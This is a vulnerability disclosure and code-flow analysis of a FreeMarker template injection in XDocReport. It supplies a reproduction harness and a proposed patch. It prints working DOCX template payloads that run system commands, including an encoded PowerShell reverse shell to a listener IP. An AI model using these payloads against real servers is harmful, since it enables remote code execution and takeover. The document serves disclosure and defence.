
CVE-2025-64087 (SSTI)
Overview of the vulnerability
Server-Side Template Injection (SSTI) is a web security vulnerability that allows attackers to inject malicious code into templates used by content management systems (CMS) and web frameworks, enabling remote attacks, extraction of sensitive information, or system intrusion activities.
SSTI is a variant of Injection vulnerabilities (such as SQL Injection, XSS, etc.), where attackers exploit the use of template systems to deploy remote malicious code. When an SSTI attack is successfully executed, attackers can run their own code on the server side, allowing them to perform remote attacks, such as gathering sensitive information, conducting system intrusion activities, and accessing unauthorized resources.
SSTI vulnerabilities often occur due to the use of unsafe template systems, or due to failure to validate and process input parameters before inserting them into templates. If an SSTI attack is successfully carried out, the consequences can be severe and cause significant damage to the targeted organization.
Business impact
The SSTI vulnerability can lead to several serious consequences, including:
Remote Code Execution: Attackers can exploit this vulnerability to execute malicious code on the server, enabling data theft, performing illegal actions on the system, or even taking full control of the server.
Exposure of sensitive information: SSTI can allow attackers to read, modify, or delete files on the server. If these files contain sensitive information, such as accounts and passwords, the attacker can easily disclose this information.
User intimidation or phishing attacks: Attackers can use SSTI to conduct intimidation or phishing attacks by altering website content or adding fake custom buttons. If users click on these buttons, attackers can steal user information or install malware on their computers.
A Server-Side Template Injection (SSTI) vulnerability was found in OpenSAGRES XDocReport when processing DOCX templates with the FreeMarker engine. Under certain configurations, crafted templates can lead to Remote Code Execution (RCE).
The personnel management website allows users to upload .docx documents to the system. During processing, the application uses the FreeMarker template engine (in the file FreemarkerTemplateEngine.java) to render the content ${"freemarker.template.utility.Execute"?new()("whoami")} without any input content validation or filtering mechanism.
This vulnerability allows an attacker to inject malicious expressions into the .docx file (template), leading to Remote Code Execution (RCE) on the server, which can be exploited to steal information or take control of the system.
fr.opensagres.xdocreport.template.freemarker — XDocReport (versions 1.0.0 through 2.1.0).
https://github.com/opensagres/xdocreport/blob/master/template/fr.opensagres.xdocreport.template.freemarker/src/main/java/fr/opensagres/xdocreport/template/freemarker/FreemarkerTemplateEngine.java, there is no validation of the input xdoc file content. The template content is loaded directly and passed to process(context, writer, template) to be handled by the FreeMarker engine without any sandboxing or restriction mechanisms for directives/expressions. As a result, an attacker can provide a template containing malicious FreeMarker expressions/commands, leading to Remote Code Execution (RCE)..docx file containing the following payload:```
${"freemarker.template.utility.Execute"?new()("calc")}
2. See that the execution is successful and the calc application opens

3. Similarly, to get the information of the user running on the system with the payload:```
${"freemarker.template.utility.Execute"?new()("whoami")}
.docx file, after processing by the template engine, has returned system data


6. Elevate impact to RCE
- Listening machine is wsl with IP address `172.26.208.130`

- Exploit with the following payload:
```java
${"freemarker.template.utility.Execute"?new()("powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQA3ADIALgAyADYALgAyADAAOAAuADEAMwAwACIALAA5ADkAOQA5ACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA==")}
.docx file to xdocreport for processingxdocreport\template\fr.opensagres.xdocreport.template.freemarker\src\main\java\fr\opensagres\xdocreport\template\freemarker\FreemarkerTemplateEngine.java, add the following contentMy fix still allows rendering objects and properties normally like ${cuong.name} and only blocks DANGEROUS built-in functions
${'freemarker.template.utility.Execute'?new()('calc')} - BLOCKED by ALLOWS_NOTHING_RESOLVER${'java.lang.Runtime'?api.getRuntime()} - BLOCKED by setAPIBuiltinEnabled(false)?new() and ?api are blockedPath: template/fr.opensagres.xdocreport.template.freemarker/src/main/java/fr/opensagres/xdocreport/template/freemarker/FreemarkerTemplateEngine.java
Changes:
✅ Added import: java.util.regex.Pattern
✅ Added method validateTemplateSecurity(Reader reader) — Validates dangerous patterns
✅ Updated processNoCache() — Added validation before creating the Template
✅ Updated process(String templateName, …) — Added validation to this method
Path: template/fr.opensagres.xdocreport.template.freemarker/src/test/java/fr/opensagres/xdocreport/template/freemarker/FreemarkerTemplateEngineSecurityTestCase.java
Changes:
${"freemarker.template.utility.Execute"?new()("whoami")}?new, java.lang.Runtime, java.lang.ProcessBuilder, etc.| File | Type of Change | Purpose |
|---|---|---|
| FreemarkerTemplateEngine.java | Modified | Added SSTI protection |
| FreemarkerTemplateEngineSecurityTestCase.java | New File | Tests validation logic |
In version 2.2.0, the protection mechanism is enabled and SSTI is successfully blocked
import fr.opensagres.xdocreport.document.IXDocReport; import fr.opensagres.xdocreport.document.registry.XDocReportRegistry; import fr.opensagres.xdocreport.template.IContext; import fr.opensagres.xdocreport.template.TemplateEngineKind;
import java.io.*; import java.io.File; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.InputStream; import java.io.OutputStream;
public class Main {
public static void main(String[] args) {
try {
// Đọc file đầu vào chứa biểu thức Velocity
File docxTemplate = new File("C:\\Users\\HP\\Downloads\\vcspentest.docx"); // File đầu vào
InputStream input = new FileInputStream(docxTemplate);
// Load template sử dụng FreeMarker
IXDocReport report = XDocReportRegistry.getRegistry().loadReport(input, TemplateEngineKind.Freemarker);
// Tạo context - có thể để trống nếu chỉ test biểu thức độc lập
IContext context = report.createContext();
// Xuất ra file mới
OutputStream out = new FileOutputStream(new File("C:\\Users\\HP\\Downloads\\results.docx"));
report.process(context, out);
System.out.println("✅ Đã tạo file result.docx thành công.");
} catch (Exception e) {
System.err.println("❌ Lỗi xử lý file:");
e.printStackTrace();
}
}
}
- Required libraries```xml
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>org.example</groupId>
<artifactId>vcs1</artifactId>
<version>1.0-SNAPSHOT</version>
<properties>
<maven.compiler.source>18</maven.compiler.source>
<maven.compiler.target>18</maven.compiler.target>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
</properties>
<dependencies>
<!-- Template engine: FreeMarker -->
<dependency>
<groupId>fr.opensagres.xdocreport</groupId>
<artifactId>fr.opensagres.xdocreport.template.freemarker</artifactId>
<version>2.1.0</version>
</dependency>
<dependency>
<groupId>fr.opensagres.xdocreport</groupId>
<artifactId>fr.opensagres.xdocreport.document.docx</artifactId>
<version>2.0.3</version>
</dependency>
</dependencies>
</project>
A Starting point (entry points / sources)```java File docxTemplate = new File("C:\Users\HP\Downloads\vcspentest.docx");
→ the source is this DOCX file — if the file is uploaded/written by the user, the template content inside (FreeMarker syntax) is untrusted data.```
InputStream input = new FileInputStream(docxTemplate);
→ read file content to forward to XDocReport.```java IXDocReport report = XDocReportRegistry.getRegistry().loadReport(input, TemplateEngineKind.Freemarker);
- loadReport(...) parses the DOCX file, finds entry/template in the DOCX and creates an IXDocReport (internally it will initialize a FreeMarker Template object or keep a reader for the template).
- The template content in the DOCX file is now inside the report object (not yet executed).


zipInputStream.getNextEntry() iterates over each entry (each file) inside the ZIP (.docx).
archive = new XDocArchive(...) — if no archive exists, initializes an object to organize/register the document's entries.

In summary: this section extracts the DOCX content into an internal structure (XDocArchive) so that later parts can access the subfiles (document.xml, ...)```java
private IXDocReport loadReport( InputStream sourceStream, String reportId, String templateEngineKind,
ITemplateEngine templateEngine, boolean cacheReport )
throws IOException, XDocReportException
{
initializeIfNeeded();
// 2) zip was loaded, create an instance of report
IXDocReport report = createReport( sourceStream );
// 3) Update the report id if need.
if ( StringUtils.isEmpty( reportId ) )
{
reportId = report.toString();
}
report.setId( reportId );
// 4) Search or set the template engine.
if ( templateEngine == null && StringUtils.isNotEmpty( templateEngineKind ) )
{
// Template engine was not forced.
// Search template engine
String documentKind = report.getKind();
templateEngine =
TemplateEngineInitializerRegistry.getRegistry().getTemplateEngine( templateEngineKind, documentKind );
if ( templateEngine == null )
{
templateEngine =
TemplateEngineInitializerRegistry.getRegistry().getTemplateEngine( templateEngineKind, null );
}
}
report.setTemplateEngine( templateEngine );
if ( cacheReport )
{
registerReport( report );
}
return report;
}
| Steps | Action | Purpose |
|---|---|---|
| 1 | Read DOCX file | Get original report structure |
| 2 | Create IXDocReport | Represent template |
| 3 | Assign ID | Unique management |
| 4 | Select template engine | For expression handling (Freemarker/Velocity) |
| 5 | Cache if needed | Performance optimization |
| 6 | Return report | Used to render result file |
In short, there is no SSTI check at IXDocReport report = XDocReportRegistry.getRegistry().loadReport(input, TemplateEngineKind.Freemarker); — it only loads the XML files within the docx and returns an IXDocReport report ready for processing (e.g., render, merge data…).
at report.process(context, out);
out.out, i.e., to the file results.docx.Going deeper into this function, it calls preprocess(...) which parses XML, reads each XML entry, then parses the XML content, creates a BufferedDocument, and writes to a Writer (this is the preliminarily processed XML version).
```java
public boolean preprocess( String entryName, InputStream reader, Writer writer, FieldsMetadata fieldsMetadata,
IDocumentFormatter formatter, Map<String, Object> sharedContext )
throws XDocReportException, IOException
{
try
{
XMLReader xmlReader = XMLReaderFactory.createXMLReader();
BufferedDocumentContentHandler<?> contentHandler =
createBufferedDocumentContentHandler( entryName, fieldsMetadata, formatter, sharedContext );
xmlReader.setContentHandler( contentHandler );
xmlReader.parse( new InputSource( reader ) );
BufferedDocument document = contentHandler.getBufferedDocument();
if ( document != null )
{
document.save( writer );
// StringWriter s = new StringWriter();
// document.save( s );
// System.err.println( s );
return true;
}
return false;
}
catch ( SAXException e )
{
throw new XDocReportException( e );
}
}

then it jumps into `processNoCache()` and calls `getReader()`


The `getReader()` function is used to add the escape directive wrapper around the entire template, ensuring the content is processed safely (escape HTML, avoid injection).

Original template:```xml
<w:p>
<w:t>Hello ${name}!</w:t>
</w:p>
After getReader() processes:```xml [#-- Hello ${name}! [/#escape][#--]]>--]
nó giúp Freemarker engine đọc được an toàn hơn:
- Bảo vệ XML: Escape các ký tự đặc biệt trong XML
- Xử lý an toàn: Tránh lỗi khi Freemarker parse template
sau đó gọi `FMParser` để phân tích cú pháp Freemarker

cuối cùng vào `process()` gọi `environment.process();` và reader dữ liệu```
public void process() throws TemplateException, IOException {
Object savedEnv = threadEnv.get();
threadEnv.set(this);
try {
// Cached values from a previous execution are possibly outdated.
clearCachedValues();
try {
doAutoImportsAndIncludes(this);
visit(getTemplate().getRootTreeNode());
// It's here as we must not flush if there was an exception.
if (getAutoFlush()) {
out.flush();
}
} finally {
// It's just to allow the GC to free memory...
clearCachedValues();
}
} finally {
threadEnv.set(savedEnv);
}
}
👉 Đây là bước quan trọng nhất — phần render thực sự xảy ra.
getTemplate() trả về template đã parse (AST).
getRootTreeNode() là nút gốc của cây cú pháp được FMParser tạo ra lúc parse.
visit() là API lõi của FreeMarker, dùng để duyệt và render từng phần tử của template, và được định nghĩa trong freemarker.core.Environment
Gặp TextBlock → ghi text ra out.
Gặp Interpolation (ví dụ ${user.name}) → tra trong dataModel, lấy giá trị, ghi ra out.
Gặp #if, #list, #include, macro → xử lý logic tương ứng```java void visit(TemplateElement element) throws IOException, TemplateException { // ATTENTION: This method body is manually "inlined" into visit(TemplateElement[]); keep them in sync! pushElement(element); try { TemplateElement[] templateElementsToVisit = element.accept(this); if (templateElementsToVisit != null) { for (TemplateElement el : templateElementsToVisit) { if (el == null) { break; // Skip unused trailing buffer capacity } visit(el); } } } catch (TemplateException te) { handleTemplateException(te); } finally { popElement(); } // ATTENTION: This method body above is manually "inlined" into visit(TemplateElement[]); keep them in sync! }



it triggers at entryName `word/document.xml`

next it jumps into the `accept()` function
```java
TemplateElement[] accept(Environment env) throws TemplateException, IOException {
final Object moOrStr = calculateInterpolatedStringOrMarkup(env);
final Writer out = env.getOut();
if (moOrStr instanceof String) {
final String s = (String) moOrStr;
if (autoEscape) {
markupOutputFormat.output(s, out);
} else {
out.write(s);
}
} else {
final TemplateMarkupOutputModel mo = (TemplateMarkupOutputModel) moOrStr;
final MarkupOutputFormat moOF = mo.getOutputFormat();
// ATTENTION: Keep this logic in sync. ?esc/?noEsc's logic!
if (moOF == outputFormat) {
moOF.output(mo, out);
} else if (!outputFormat.isOutputFormatMixingAllowed()) {
final String srcPlainText;
// ATTENTION: Keep this logic in sync. ?esc/?noEsc's logic!
srcPlainText = moOF.getSourcePlainText(mo);
if (srcPlainText == null) {
throw new _TemplateModelException(escapedExpression,
"The value to print is in ", new _DelayedToString(moOF),
" format, which differs from the current output format, ",
new _DelayedToString(outputFormat), ". Format conversion wasn't possible.");
}
if (markupOutputFormat != null) {
markupOutputFormat.output(srcPlainText, out);
} else {
out.write(srcPlainText);
}
} else if (markupOutputFormat != null) {
markupOutputFormat.outputForeign(mo, out);
} else {
moOF.output(mo, out);
}
}
return null;
}
```java
final TemplateModel eval(Environment env) throws TemplateException {
try {
return constantValue != null ? constantValue : _eval(env);
} catch (FlowControlException | TemplateException e) {
throw e;
} catch (Exception e) {
if (env != null && EvalUtil.shouldWrapUncheckedException(e, env)) {
throw new _MiscTemplateException(
this, e, env, "Expression has thrown an unchecked exception; see the cause exception.");
} else if (e instanceof RuntimeException) {
throw (RuntimeException) e;
} else {
throw new UndeclaredThrowableException(e);
}
}
}









the execution flow in the `visit()` function is as follows```
visit(Interpolation) // gọi accept(...)
└─ Interpolation.accept(env)
└─ calculateInterpolatedStringOrMarkup(env)
└─ expression.eval(env)
└─ (đến _eval) target.eval(env) // trả TemplateMethodModel (built-in new()/Execute)
└─ targetMethod.exec(arguments) ← exec() thực thi -> chạy `calc` ← 💥 SSTI xảy ra ở đây
[User uploads DOCX template]
│
▼
┌──────────────────────────────────────────┐
│ XDocReportRegistry.loadReport(...) │
│ - Nhận InputStream (file .docx) │
│ - Xác định TemplateEngineKind=Freemarker│
│ - Gọi createReport(...) │
└──────────────────────────────────────────┘
│
▼
┌──────────────────────────────────────────┐
│ FreemarkerTemplateEngine.loadTemplate() │
│ - Gọi new Template(templateName, Reader,│
│ Configuration) │
│ - => FMParser parse nội dung template │
└──────────────────────────────────────────┘
│
▼
┌──────────────────────────────────────────┐
│ FMParser(this, reader, config) │
│ - Đọc nội dung file (XML trong DOCX) │
│ - Phân tích cú pháp │
│ Tạo AST (cây cú pháp): │
│ ├─ TextBlock ("Hello") │
│ ├─ DollarVariable (${name}) │
│ └─ FunctionCall (${Runtime.exec(...)})│
└──────────────────────────────────────────┘
│
▼
┌──────────────────────────────────────────┐
│ Environment env = │
│ template.createProcessingEnvironment() │
│ env.process() │
└──────────────────────────────────────────┘
│
▼
┌──────────────────────────────────────────┐
│ Environment.process() │
│ - clearCachedValues() │
│ - doAutoImportsAndIncludes() │
│ - visit(getTemplate().getRootTreeNode())│
└──────────────────────────────────────────┘
│
▼
┌──────────────────────────────────────────┐
│ visit(TemplateElement node) │
│ - node.accept(env) │
│ - Ghi kết quả ra writer (output stream) │
└──────────────────────────────────────────┘
│
▼
┌──────────────────────────────────────────┐
│ Nếu node là ${...} │
│ ⇒ ExpressionEvaluator được gọi │
│ ⇒ eval() biểu thức bên trong ${} │
│ ⇒ Có thể truy cập method Java nếu chưa │
│ bị sandbox hoặc hạn chế │
│ ⇒ Ví dụ: ${"freemarker.template.utility.Execute"?new()("calc.exe")} │
└──────────────────────────────────────────┘
│
▼
🚨 Kết quả: Server-Side Template Injection (SSTI)
## 🔍 **Summary of Key Exploitable Points**
| Stage | Class | Role | SSTI Relevance |
| ------------------------ | -------------------- | --------------------- | ------------------------- |
| `loadReport()` | `XDocReportRegistry` | Load template | No input control |
| `getReader()` | `TemplateEngine` | Read template data | May contain payload |
| `FMParser` | `freemarker.core` | Parse content | `${}` variables are parsed|
| `Environment.process()` | `freemarker.core` | Render template | Call `visit()` for each node |
| `visit()` / `eval()` | `freemarker.core` | Execute expression | **SSTI / RCE point** |
---
## Documents
- https://drive.google.com/drive/folders/1XYFtxs5O3SMW0FemNMZ_1ft1ueFixhVz?usp=drive_link